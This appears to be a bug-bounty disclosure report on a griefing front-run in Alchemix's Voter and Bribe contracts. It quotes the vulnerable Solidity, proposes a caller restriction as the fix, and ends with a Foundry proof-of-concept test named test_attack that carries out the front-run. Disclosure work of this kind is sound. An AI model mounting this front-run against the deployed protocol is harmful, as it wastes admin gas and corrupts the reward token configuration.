Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
Description
Brief/Intro
the function voter.sol#swapReward is meant to be used to update the reward token from old one to new one, this function is only callable by the admin and it make calls to the Bribe.sol#swapOutRewardToken which it updates the isReward from false to true for the newToken, and it set the old token index to the newToken address, however an attacker can front run the owner and cause Griefing plus preventing from setting the correct index to the newToken address, this issue can make loss to the owner by front run his/her TX and cause loss of gas + making the rewards length longer each time the attacker front run the owner call and preventing setting the correct index to the new token that the owner decide to set.
Vulnerability Details
to call the swapReward function the owner first need to call the whitelist function to add the new token to whitelist, if not then the call to the swapReward is impossible because of the checks for the whitelist token the function swapReward make call to the swapOutRewardToken with the below inputs:
as it shown the tokenIndex is set to update the token index when call made to the swapOutRewardToken:
functionswapOutRewardToken(uint256 oldTokenIndex,address oldToken,address newToken) external {require(msg.sender == voter,"Only voter can execute");require(IVoter(voter).isWhitelisted(newToken),"New token must be whitelisted");require(rewards[oldTokenIndex] == oldToken,"Old token mismatch");// Check that the newToken does not already exist in the rewards arrayfor (uint256 i =0; i < rewards.length; i++) {require(rewards[i] != newToken,"New token already exists"); } isReward[oldToken] =false; isReward[newToken] =true;// Since we've now ensured the new token doesn't exist, we can safely update rewards[oldTokenIndex] = newToken; // set the old index to the new token
however, malicious user can front run the owner call to the swapReward the moment that he/she realized that a new token added to the whitelist lists by calling the notifyRewardAmount directly from the bribe.sol contract, while this contract is external and allow anyone call it directly the malicious user can call it with the new whitelisted token address before the admin call and the notifyRewardAmount function will not set the correct index to the new token when call made to the _addRewardToken(it did not set index to it) and increase the rewards list :
functionnotifyRewardAmount(address token,uint256 amount) externallock {require(amount >0,"reward amount must be greater than 0");// If the token has been whitelisted by the voter contract, add it to the rewards listrequire(IVoter(voter).isWhitelisted(token),"bribe tokens must be whitelisted");_addRewardToken(token);// bribes kick in at the start of next bribe perioduint256 adjustedTstamp =getEpochStart(block.timestamp);uint256 epochRewards = tokenRewardsPerEpoch[token][adjustedTstamp];IERC20(token).safeTransferFrom(msg.sender,address(this), amount); tokenRewardsPerEpoch[token][adjustedTstamp] = epochRewards + amount; periodFinish[token] = adjustedTstamp + DURATION;emitNotifyReward(msg.sender, token, adjustedTstamp, amount); }function_addRewardToken(address token) internal {if (!isReward[token] && token !=address(0)) {require(rewards.length < MAX_REWARD_TOKENS,"too many rewards tokens");require(IVoter(voter).isWhitelisted(token),"bribe tokens must be whitelisted"); isReward[token] =true; rewards.push(token); // if the old index is 5 then we give the new token index 6 not 5, push increase the index
} }
according to our calculation the amount of gas that the admin will loss according to this case is more than the amount that the malicious user need to front run the admin with tiny `amount.
Impact Details
malicious user can front run admin call to the swapReward and cause loss of gas to the admin + setting incorrect index to the new token that get added
Recommend
we recommend to prevent any direct call to the notifyRewardAmount function in the bribe.sol and adding require(msg.sender == voter) to prevent this case which leads to Griefing.
Proof of Concept
run the test file below in src/test
// SPDX-License-Identifier: GPL-3pragmasolidity ^0.8.15;import"./BaseTest.sol";import"lib/forge-std/src/console2.sol";import"lib/forge-std/src/Test.sol";import"./utils/DSTestPlus.sol";import"src/VotingEscrow.sol";import"src/AlchemixGovernor.sol";import"src/FluxToken.sol";import"src/Voter.sol";import"src/Minter.sol";import"src/RewardPoolManager.sol";import"src/RewardsDistributor.sol";import"src/RevenueHandler.sol";import"src/Bribe.sol";import"src/gauges/CurveGauge.sol";import"src/gauges/PassthroughGauge.sol";import"src/governance/TimelockExecutor.sol";import"src/factories/BribeFactory.sol";import"src/factories/GaugeFactory.sol";import"src/interfaces/aura/MockCurveGaugeFactory.sol";import"src/interfaces/IAlchemixToken.sol";import"src/interfaces/IMinter.sol";import"src/interfaces/balancer/WeightedPool2TokensFactory.sol";import"src/interfaces/balancer/WeightedPoolUserData.sol";import"src/interfaces/balancer/IVault.sol";import"src/interfaces/IWETH9.sol";import"src/gauges/StakingRewards.sol";import"src/interfaces/aura/IRewardPool4626.sol";contracttestingisTest, BaseTest {uint256public fakeToken;addresspublic alice; IERC20 public usdd =IERC20(0x0C10bF8FcB7Bf5412187A595ab97a3609160b5c6);functionsetUp() public {setupContracts(block.timestamp); alice = vm.addr(1);deal(address(usdd),address(alice),1ether); }functiontest_attack() public {address bribeAddress = voter.bribes(address(sushiGauge));createThirdPartyBribe(bribeAddress, bal, TOKEN_100K); hevm.startPrank(address(timelockExecutor)); voter.whitelist(address(usdd)); vm.startPrank(alice); usdd.approve(address(voter), type(uint256).max); usdd.approve(address(bribeAddress), type(uint256).max);IBribe(bribeAddress).notifyRewardAmount(address(usdd),1000000000000000000); hevm.startPrank(address(timelockExecutor));// vm.expectRevert(); voter.swapReward(address(sushiGauge),0, dai,address(usdd)); }}